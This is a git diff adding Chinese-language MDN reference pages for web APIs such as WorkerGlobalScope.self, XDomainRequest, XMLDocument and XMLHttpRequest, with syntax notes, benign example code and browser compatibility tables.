FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(4)}}{{CompatGeckoDesktop("1.9.1")}}1010.64
ononline, onoffline{{CompatVersionUnknown}}{{CompatGeckoDesktop("29")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
console {{Non-standard_inline}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("29")}}[1]
+ {{CompatGeckoDesktop("30")}}
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
performance{{CompatVersionUnknown}}{{CompatGeckoDesktop("34")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
caches{{CompatChrome(40)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}1.0.11011.55.1
ononline, onoffline{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("29")}}[1]
+ {{CompatGeckoMobile("30")}}
1.4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
console {{Non-standard_inline}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("29")}}1.4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
performance{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("34")}}2.1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
caches{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Gecko 29 implemented this as WorkerConsole. Since version 30 it uses the regular Console.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/workerglobalscope/self/index.html b/files/zh-cn/web/api/workerglobalscope/self/index.html new file mode 100644 index 0000000000..fbabf105e3 --- /dev/null +++ b/files/zh-cn/web/api/workerglobalscope/self/index.html @@ -0,0 +1,81 @@ +--- +title: WorkerGlobalScope.self +slug: Web/API/WorkerGlobalScope/self +translation_of: Web/API/WorkerGlobalScope/self +--- +
{{APIRef("Web Workers API")}}
+ +

self 是 {{domxref("WorkerGlobalScope")}} 的只读属性,它指向 WorkerGlobalScope 自身。通常情况下,它是如 {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}}, 或 {{domxref("ServiceWorkerGlobalScope")}} 类型的 scope 。

+ +

语法

+ +
var selfRef = self;
+ +

+ +

当前 worker 的全局 scope (值取决于你创建的 worker 类型)。

+ +

示例

+ +

在 worker 中运行这行代码:

+ +
console.log(self);
+ +

console 中会输出当前 worker 的全局 scope,如下所示:

+ +
DedicatedWorkerGlobalScope {
+undefined: undefined, Infinity: Infinity, Math: MathConstructor, NaN: NaN, Intl: Object…}
+    Infinity: Infinity
+    Array: function Array() { [native code] }
+      arguments: null
+      caller: null
+      isArray: function isArray() { [native code] }
+      length: 1
+      name: "Array"
+      observe: function observe() { [native code] }
+      prototype: Array[0]
+      unobserve: function unobserve() { [native code] }
+      __proto__: function Empty() {}
+      <function scope>
+    ArrayBuffer: function ArrayBuffer() { [native code] }
+    Blob: function Blob() { [native code] }
+    Boolean: function Boolean() { [native code] }
+    DataView: function DataView() { [native code] }
+    Date: function Date() { [native code] }
+    DedicatedWorkerGlobalScope: function DedicatedWorkerGlobalScope() { [native code] }
+    Error: function Error() { [native code] }
+// etc. etc.
+
+ +

这会列出当前 worker scope 上完整的属性列表,在需要检测某个属性是否可用时非常有用。 详细列表也可查阅 Functions and classes available to Web Workers.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-workerglobalscope-self', 'self')}}{{Spec2('HTML WHATWG')}} 
+ +

兼容性

+ +

 

+ + + +

{{Compat("api.WorkerGlobalScope.self")}}

+ +

 

+ +

参见

+ +

{{domxref("WorkerGlobalScope")}}

diff --git a/files/zh-cn/web/api/xdomainrequest/index.html b/files/zh-cn/web/api/xdomainrequest/index.html new file mode 100644 index 0000000000..dd7dce2899 --- /dev/null +++ b/files/zh-cn/web/api/xdomainrequest/index.html @@ -0,0 +1,186 @@ +--- +title: XDomainRequest +slug: Web/API/XDomainRequest +tags: + - AJAX + - API + - IE + - JavaScript + - Web + - 废弃 + - 微软 + - 非标准 +translation_of: Web/API/XDomainRequest +--- +

{{obsolete_header}}

+ +

{{non-standard_header}}

+ +

摘要

+ +

XDomainRequest是在IE8和IE9上的HTTP access control (CORS) 的实现,在IE10中被 包含CORS的XMLHttpRequest 取代了,如果你的开发目标是IE10或IE的后续版本,或想要支待其他的浏览器,你需要使用标准的HTTP access control

+ +

该接口可以发送GET和POST请求

+ +

语法

+ +
var xdr = new XDomainRequest();
+ +

返回XDomainRequest的实例,该实例可以被用来生成或管理请求。

+ +

属性

+ +
+
{{domxref("XDomainRequest.timeout")}}
+
获取或设置请求的过期时间。
+
{{domxref("XDomainRequest.responseText")}}
+
以字符串形式获取响应体。
+
+ +

方法

+ +
+
{{domxref("XDomainRequest.open()")}}
+
根据指定的方法(GET或POST)和URL,打开请求。
+
{{domxref("XDomainRequest.send()")}}
+
发送请求。POST的数据会在该方法中被指定。
+
{{domxref("XDomainRequest.abort()")}}
+
中止请求。
+
+ +

事件处理程序

+ +
+
{{domxref("XDomainRequest.onprogress")}}
+
当请求中发送方法和onload事件中有进展时的处理程序。
+
{{domxref("XDomainRequest.ontimeout")}}
+
当请求超时时的事件处理程序。
+
{{domxref("XDomainRequest.onerror")}}
+
当请求发生错误时的处理程序。
+
{{domxref("XDomainRequest.onload")}}
+
当服务器端的响应被完整接收时的处理程序。
+
+ +

例子

+ +
if(window.XDomainRequest){
+  var xdr = new XDomainRequest();
+
+  xdr.open("get", "http://example.com/api/method");
+
+  xdr.onprogress = function () {
+    //Progress
+  };
+
+  xdr.ontimeout = function () {
+    //Timeout
+  };
+
+  xdr.onerror = function () {
+    //Error Occured
+  };
+
+  xdr.onload = function() {
+    //success(xdr.responseText);
+  }
+
+  setTimeout(function () {
+    xdr.send();
+  }, 0);
+}
+ +
 
+ +
+

注意: 如果多个XDomainRequests同时被发送,一些请求可能会丢失,为避免这种情况,xdr.send()的调用应被包裹在setTimeout方法中(见{{domxref("window.setTimeout()")}})。

+
+ +

安全

+ +

XDomainRequest为了确保安全构建,采用了多种方法。

+ + + +

标准

+ +

该接口及其方法没有遵循标准。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
XDomainRequest{{ CompatNo() }}{{ CompatNo() }}8.0-9.x{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
XDomainRequest{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ + diff --git a/files/zh-cn/web/api/xmldocument/async/index.html b/files/zh-cn/web/api/xmldocument/async/index.html new file mode 100644 index 0000000000..f1e29dee9d --- /dev/null +++ b/files/zh-cn/web/api/xmldocument/async/index.html @@ -0,0 +1,30 @@ +--- +title: XMLDocument.async +slug: Web/API/XMLDocument/async +translation_of: Web/API/XMLDocument/async +--- +

{{APIRef("DOM")}}{{Non-standard_header}}{{Deprecated_header}}

+ +

document.async 可以被赋值,用来表明 document.load 被调用时,是使用异步模式还是同步模式进行请求. true 为默认值, 表明该文档应该被异步加载.

+ +

(从Gecko 1.4alpha 开始,文档请求可以以异步模式进行,在这之前,只有同步模式可用.)

+ +

代码示例

+ +
function loadXMLData(e)
+{
+alert(new XMLSerializer().serializeToString(e.target)); // 返回一个包含querydata.xml内容的字符串.
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/xmldocument/index.html b/files/zh-cn/web/api/xmldocument/index.html new file mode 100644 index 0000000000..4bac602b27 --- /dev/null +++ b/files/zh-cn/web/api/xmldocument/index.html @@ -0,0 +1,68 @@ +--- +title: XMLDocument +slug: Web/API/XMLDocument +tags: + - API + - DOM + - XML + - 参考 + - 接口 +translation_of: Web/API/XMLDocument +--- +

{{APIRef("DOM")}}

+ +

The XMLDocument interface represents an XML document. It inherits from the generic {{DOMxRef("Document")}} and does not add any specific methods or properties to it: nevertheless, several algorithms behave differently with the two types of documents.

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

Also inherits properties from: {{DOMxRef("Document")}}

+ +
+
{{DOMxRef("XMLDocument.async")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
Used with {{DOMxRef("XMLDocument.load()")}} to indicate an asynchronous request.
+
+ +

方法

+ +

Also inherits methods from: {{DOMxRef("Document")}}

+ +
+
{{DOMxRef("XMLDocument.load()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
Loads an XML document.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM WHATWG", "#xmldocument", "XMLDocument")}}{{Spec2("DOM WHATWG")}}没有变化。
{{SpecName("DOM4", "#xmldocument", "XMLDocument")}}{{Spec2("DOM4")}}初步定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLDocument")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/xmldocument/load/index.html b/files/zh-cn/web/api/xmldocument/load/index.html new file mode 100644 index 0000000000..2ba7774606 --- /dev/null +++ b/files/zh-cn/web/api/xmldocument/load/index.html @@ -0,0 +1,35 @@ +--- +title: XMLDocument.load() +slug: Web/API/XMLDocument/load +translation_of: Web/API/XMLDocument/load +--- +

{{APIRef("DOM")}}

+ +

document.load()作为旧版的w3c标准 DOM Level 3 Load & Save module 其中的一部分. document.async 用来表明该请求是以同步模式进行还是异步模式进行(默认值). 从 Gecko 1.9开始 ,该方法不支持跨站的文档请求.(使用 XMLHttpRequest 代替).

+ +

代码示例

+ +
var xmlDoc = document.implementation.createDocument("", "test", null);
+function documentLoaded (e) {
+    alert(new XMLSerializer().serializeToString(e.target)); // 返回一个包含querydata.xml内容的字符串.
+}
+xmlDoc.addEventListener("load", documentLoaded, false);
+xmlDoc.load('querydata.xml');
+
+ +

在XML/tests目录下{{ Source("content/xml/tests/load/", "查看load示例") }} . (在LXR生成的页面内加载load.html文件是无效的,因为LXR会将test.xml合并到load.html中作为一个单独的HTML页面返回. 为了测试这个功能,你可以在自己的本地磁盘或网络服务器上创建测试文件.)

+ +

相关链接

+ + + +

规范

+ + + +

{{ languages( {"en": "en/DOM/document.load" } ) }}

diff --git a/files/zh-cn/web/api/xmlhttprequest/abort/index.html b/files/zh-cn/web/api/xmlhttprequest/abort/index.html new file mode 100644 index 0000000000..d98eabf064 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/abort/index.html @@ -0,0 +1,62 @@ +--- +title: XMLHttpRequest.abort() +slug: Web/API/XMLHttpRequest/abort +tags: + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/abort +--- +

{{APIRef('XMLHttpRequest')}}

+ +

如果该请求已被发出,XMLHttpRequest.abort() 方法将终止该请求。当一个请求被终止,它的  {{domxref("XMLHttpRequest.readyState", "readyState")}} 将被置为 {{domxref("XMLHttpRequest.UNSENT")}} (0),并且请求的 {{domxref("XMLHttpRequest.status", "status")}} 置为 0。

+ +

语法

+ +
xhrInstance.abort();
+ +

参数

+ +

无。

+ +

返回值

+ +

undefined

+ +

示例

+ +
var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+xhr.open(method, url, true);
+
+xhr.send();
+
+if (OH_NOES_WE_NEED_TO_CANCEL_RIGHT_NOW_OR_ELSE) {
+  xhr.abort();
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#the-abort()-method')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{Compat("api.XMLHttpRequest.abort")}}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/abort_event/index.html b/files/zh-cn/web/api/xmlhttprequest/abort_event/index.html new file mode 100644 index 0000000000..9bdad07e9d --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/abort_event/index.html @@ -0,0 +1,146 @@ +--- +title: 'XMLHttpRequest: abort event' +slug: Web/API/XMLHttpRequest/abort_event +tags: + - XMLHttpRequest + - abort +translation_of: Web/API/XMLHttpRequest/abort_event +--- +
{{APIRef}}
+ +
+ +
当一个请求终止时 abort 事件被触发,比如程序执行 {{domxref("XMLHttpRequest.abort()")}}。
+ +
+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}}
+ +

Examples

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
+    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
+    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
+</div>
+
+<textarea readonly class="event-log"></textarea>
+ + + +

JS

+ +
const xhrButtonSuccess = document.querySelector('.xhr.success');
+const xhrButtonError = document.querySelector('.xhr.error');
+const xhrButtonAbort = document.querySelector('.xhr.abort');
+const log = document.querySelector('.event-log');
+
+function handleEvent(e) {
+    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
+}
+
+function addListeners(xhr) {
+    xhr.addEventListener('loadstart', handleEvent);
+    xhr.addEventListener('load', handleEvent);
+    xhr.addEventListener('loadend', handleEvent);
+    xhr.addEventListener('progress', handleEvent);
+    xhr.addEventListener('error', handleEvent);
+    xhr.addEventListener('abort', handleEvent);
+}
+
+function runXHR(url) {
+    log.textContent = '';
+
+    const xhr = new XMLHttpRequest();
+    addListeners(xhr);
+    xhr.open("GET", url);
+    xhr.send();
+    return xhr;
+}
+
+xhrButtonSuccess.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
+});
+
+xhrButtonError.addEventListener('click', () => {
+    runXHR('https://somewhere.org/i-dont-exist');
+});
+
+xhrButtonAbort.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
+});
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-abort')}}{{Spec2('XMLHttpRequest')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.XMLHttpRequest.abort_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/channel/index.html b/files/zh-cn/web/api/xmlhttprequest/channel/index.html new file mode 100644 index 0000000000..f95b595f2c --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/channel/index.html @@ -0,0 +1,12 @@ +--- +title: XMLHttpRequest.channel +slug: Web/API/XMLHttpRequest/channel +translation_of: Web/API/XMLHttpRequest/channel +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +

创建请求的时候, XMLHttpRequest.channel  是一个被对象使用的  nsIChannel 。如果管道(channel) 还没被创建的话,它的值是 null 。在一个 multi-part  请求案例中,它是初始化的管道,不是 multi-part 请求中的不同部分。

+ +

需要权限提升。

+ +

 

diff --git a/files/zh-cn/web/api/xmlhttprequest/error_event/index.html b/files/zh-cn/web/api/xmlhttprequest/error_event/index.html new file mode 100644 index 0000000000..e92ec4bb65 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/error_event/index.html @@ -0,0 +1,139 @@ +--- +title: 'XMLHttpRequest: error 事件' +slug: Web/API/XMLHttpRequest/error_event +translation_of: Web/API/XMLHttpRequest/error_event +--- +
{{APIRef}}
+ +

当请求遇到错误时,将触发error 事件。

+ + + + + + + + + + + + + + + + + + + + +
可冒泡No
可取消No
接口{{domxref("ProgressEvent")}}
事件处理程序属性{{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}}
+ +

示例

+ +

在线示例

+ +

HTML

+ +
<div class="controls">
+    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
+    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
+    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
+</div>
+
+<textarea readonly class="event-log"></textarea>
+ + + +

JS

+ +
const xhrButtonSuccess = document.querySelector('.xhr.success');
+const xhrButtonError = document.querySelector('.xhr.error');
+const xhrButtonAbort = document.querySelector('.xhr.abort');
+const log = document.querySelector('.event-log');
+
+function handleEvent(e) {
+    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
+}
+
+function addListeners(xhr) {
+    xhr.addEventListener('loadstart', handleEvent);
+    xhr.addEventListener('load', handleEvent);
+    xhr.addEventListener('loadend', handleEvent);
+    xhr.addEventListener('progress', handleEvent);
+    xhr.addEventListener('error', handleEvent);
+    xhr.addEventListener('abort', handleEvent);
+}
+
+function runXHR(url) {
+    log.textContent = '';
+
+    const xhr = new XMLHttpRequest();
+    addListeners(xhr);
+    xhr.open("GET", url);
+    xhr.send();
+    return xhr;
+}
+
+xhrButtonSuccess.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
+});
+
+xhrButtonError.addEventListener('click', () => {
+    runXHR('https://somewhere.org/i-dont-exist');
+});
+
+xhrButtonAbort.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
+});
+ +

结果

+ +

{{ EmbedLiveSample('在线示例', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-error')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.error_event")}}

+ +

其他

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/getallresponseheaders/index.html b/files/zh-cn/web/api/xmlhttprequest/getallresponseheaders/index.html new file mode 100644 index 0000000000..5c12e95526 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/getallresponseheaders/index.html @@ -0,0 +1,83 @@ +--- +title: XMLHttpRequest.getAllResponseHeaders() +slug: Web/API/XMLHttpRequest/getAllResponseHeaders +translation_of: Web/API/XMLHttpRequest/getAllResponseHeaders +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.getAllResponseHeaders() 方法返回所有的响应头,以 {{Glossary('CRLF')}} 分割的字符串,或者 null 如果没有收到任何响应。 注意: 对于复合请求 ( multipart requests ),这个方法返回当前请求的头部,而不是最初的请求的头部。

+ +
DOMString getAllResponseHeaders();
+ +

语法

+ +
var headers = XMLHttpRequest.getAllResponseHeaders();
+
+ +

参数

+ +

无。

+ +

返回值

+ +

一个原始的header头例子:

+ +
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
+content-encoding: gzip\r\n
+x-content-type-options: nosniff\r\n
+server: meinheld/0.6.1\r\n
+x-frame-options: DENY\r\n
+content-type: text/html; charset=utf-8\r\n
+connection: keep-alive\r\n
+strict-transport-security: max-age=63072000\r\n
+vary: Cookie, Accept-Encoding\r\n
+content-length: 6502\r\n
+x-xss-protection: 1; mode=block\r\n
+
+ +

每一行通过\r\n来进行分割。

+ +

例子

+ +
var request = new XMLHttpRequest();
+request.open("GET", "foo.txt", true);
+request.send();
+
+request.onreadystatechange = function() {
+  if(this.readyState == this.HEADERS_RECEIVED) {
+
+    // Get the raw header string
+    var headers = request.getAllResponseHeaders();
+
+    // Convert the header string into an array
+    // of individual headers
+    var arr = headers.trim().split(/[\r\n]+/);
+
+    // Create a map of header names to values
+    var headerMap = {};
+    arr.forEach(function (line) {
+      var parts = line.split(': ');
+      var header = parts.shift();
+      var value = parts.join(': ');
+      headerMap[header] = value;
+    });
+  }
+
+
+ +

上面的代码执行后,你可以:

+ +
var contentType = headerMap["content-type"];
+
+ +

上面的变量contentType可以获取到http header里的content-type字段值。

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/xmlhttprequest/getresponseheader/index.html b/files/zh-cn/web/api/xmlhttprequest/getresponseheader/index.html new file mode 100644 index 0000000000..e447182f2b --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/getresponseheader/index.html @@ -0,0 +1,141 @@ +--- +title: XMLHttpRequest.getResponseHeader() +slug: Web/API/XMLHttpRequest/getResponseHeader +tags: + - API + - HTTP协议 + - XHR头 + - XHR请求 + - XMLHttpRequest + - getResponseHeader + - http头 + - 引用 + - 得到响应头 + - 报文 + - 方法 +translation_of: Web/API/XMLHttpRequest/getResponseHeader +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.getResponseHeader()方法返回包含指定响应头文本的字符串。

+ +

如果在返回的响应头中有多个一样的名称,那么返回的值就会是用逗号和空格将值分隔的字符串。getResponseHeader()方法以UTF编码返回值。搜索的报文名是不区分大小写的。

+ +

语法

+ +
var myHeader = XMLHttpRequest.getResponseHeader(name);
+ +

参数

+ +
+
name
+
一个字符串,表示要返回的报文项名称。
+
+ +

返回值

+ +

报文项值,如果连接未完成,响应中不存在报文项,或者被W3C限制,则返回null。

+ +

示例:

+ +
var client = new XMLHttpRequest();//新建XMLHttpRequest对象。
+client.open("GET", "somefile.txt", true);//采用异步,GET方式获取somefile.txt。
+client.send();//发送空的query string。
+client.onreadystatechange = function() {//设定侦听器onreadystatechange。
+  if(this.readyState == this.HEADERS_RECEIVED) {//如果readyState表示响应头已返回
+    var contentType=client.getResponseHeader("Content-Type"));//将此连接的Content-Type响应头项赋值到contentType。
+    if(contentType != my_expected_type) {//如果这不是你的预期值
+      client.abort();//终止连接
+    }
+  }
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#dom-xmlhttprequest-getresponseheader', 'getResponseHeader()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
浏览器ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础支持{{CompatChrome(1)}}{{CompatVersionUnknown}}{{CompatUnknown}}[1]{{CompatIe('5')}}[2]
+ {{CompatIe('7')}}
{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
+

浏览器

+
AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]从Firefox 49开始,在首选项network.http.keep_empty_response_headers_as_empty_string设置为true的情况下,空响应头将作为空字符串返回,默认为false。 在Firefox 49之前,空响应头已被忽略。从Firefox 50开始,该项默认设置为true。

+ +

[2]该功能最开始是通过ActiveXObject()实现的。 直到Internet Explorer 7,标准的XMLHttpRequest才出现。

+ +

也请看看:

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/html_in_xmlhttprequest/index.html b/files/zh-cn/web/api/xmlhttprequest/html_in_xmlhttprequest/index.html new file mode 100644 index 0000000000..74e8cac761 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/html_in_xmlhttprequest/index.html @@ -0,0 +1,194 @@ +--- +title: HTML in XMLHttpRequest +slug: Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest +--- +

W3C {{domxref("XMLHttpRequest")}} 规范为 XMLHttpRequest添加HTML语法解析功能, 此前仅支持XML语法解析。该功能允许Web应用程序使用XMLHttpRequest作为解析的DOM。

+ +

局限

+ +

为了阻止同步使用XMLHttpRequest,HTML在同步模式下不支持使用。并且,只有当responseType属性设置为'document'的情况下,HTML支持才可用。这种限制避免了浪费时间解析HTML,而传统代码在默认模式下使用XMLHttpRequest来检索text/html资源的responseText. 此外,该限制避免了遗留代码的问题,该代码假定Http错误页面(通常具有text/html响应正文)的responseXML为空。

+ +

用法

+ +

使用XMLHttpRequest将HTML资源恢复为DOM就像使用XMLHttpRequest将XML资源恢复为DOM一样,除了您不能使用同步模式,您必须通过将字符串“document”分配给responseType属性来显式请求文档调用open()之后调用send()之前的XMLHttpRequest对象。

+ +

 

+ +
var xhr = new XMLHttpRequest();
+xhr.onload = function() {
+  console.log(this.responseXML.title);
+}
+xhr.open("GET", "file.html");
+xhr.responseType = "document";
+xhr.send();
+
+ +

功能检测

+ +

方法1

+ +

该方法依赖于功能的“强制异步”性质。当你尝试设置一个以“sync”方式打开的XMLHttpRequest对象后,尝试将设置responseType会在实现该功能的浏览器上引发错误,其他浏览器则运行良好。

+ +
+
function HTMLinXHR() {
+  if (!window.XMLHttpRequest)
+    return false;
+  var req = new window.XMLHttpRequest();
+  req.open('GET', window.location.href, false);
+  try {
+    req.responseType = 'document';
+  } catch(e) {
+    return true;
+  }
+  return false;
+}
+
+
+ +

在JSFiddle中查看

+ +

This method is synchronous, does not rely on external assets though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature.

+ +

方法2

+ +

 

+ +

检测浏览器是否支持XMLHttpRequest中的HTML解析有两个挑战。首先,检测结果是异步获取的,因为HTML支持仅在异步模式下可用。Second, you have to actually fetch a test document over HTTP, because testing with a data: URL would end up testing data:URL support at the same time.

+ +

因此,为了检测HTML支持,服务器上需要一个测试HTML文件。这个测试文件很小,格式不是很完整:

+ +
<title>&amp;&<</title>
+ +

如果文件名为detect.html,以下功能可用于检测HTML解析支持:

+ +
function detectHtmlInXhr(callback) {
+  if (!window.XMLHttpRequest) {
+    window.setTimeout(function() { callback(false); }, 0);
+    return;
+  }
+  var done = false;
+  var xhr = new window.XMLHttpRequest();
+  xhr.onreadystatechange = function() {
+    if (this.readyState == 4 && !done) {
+      done = true;
+      callback(!!(this.responseXML && this.responseXML.title && this.responseXML.title == "&&<"));
+    }
+  }
+  xhr.onabort = xhr.onerror = function() {
+    if (!done) {
+      done = true;
+      callback(false);
+    }
+  }
+  try {
+    xhr.open("GET", "detect.html");
+    xhr.responseType = "document";
+    xhr.send();
+  } catch (e) {
+    window.setTimeout(function() {
+      if (!done) {
+        done = true;
+        callback(false);
+      }
+    }, 0);
+  }
+}
+
+ +

参数callback是一个函数,如果HTML解析是支持的,则将以true作为唯一参数被异步调用,如果不支持HTML解析,则为false。

+ +

在JSFiddle中查看

+ +

字符编码

+ +

如果在HTTP Content-Type 头部中声明了字符编码,则使用该字符编码。否则,如果存在字节顺序标记,则使用由字节顺序标记指示的编码。否则,如果有一个meta tag声明文件的前1024个字节中的编码,则使用该编码。否则,文件被解码为UTF-8。

+ +

老版本的浏览器中处理HTML

+ +

XMLHttpRequest最初只支持XML解析。 HTML解析支持是最近的一个补充。对于较老的浏览器,您甚至可以使用与正则表达式关联的responseText属性,以获取例如已知其ID的HTML元素的源代码:

+ +
function getHTML (oXHR, sTargetId) {
+  var  rOpen = new RegExp("<(?!\!)\\s*([^\\s>]+)[^>]*\\s+id\\=[\"\']" + sTargetId + "[\"\'][^>]*>" ,"i"),
+       sSrc = oXHR.responseText, aExec = rOpen.exec(sSrc);
+
+  return aExec ? (new RegExp("(?:(?:.(?!<\\s*" + aExec[1] + "[^>]*[>]))*.?<\\s*" + aExec[1] + "[^>]*[>](?:.(?!<\\s*\/\\s*" + aExec[1] + "\\s*>))*.?<\\s*\/\\s*" + aExec[1] + "\\s*>)*(?:.(?!<\\s*\/\\s*" + aExec[1] + "\\s*>))*.?", "i")).exec(sSrc.slice(sSrc.indexOf(aExec[0]) + aExec[0].length)) || "" : "";
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("GET", "yourPage.html", true);
+oReq.onload = function () { console.log(getHTML(this, "intro")); };
+oReq.send(null);
+
+ +
注: 该解决方案对于解释器来说更为昂贵. 仅在确实需要的情况下使用.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support18{{CompatGeckoDesktop("11.0")}}10{{CompatUnknown}}{{CompatNo}}
+ {{CompatVersionUnknown}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support{{CompatUnknown}}{{CompatGeckoMobile("11.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] This feature was implemented in {{WebKitBug("74626")}}.

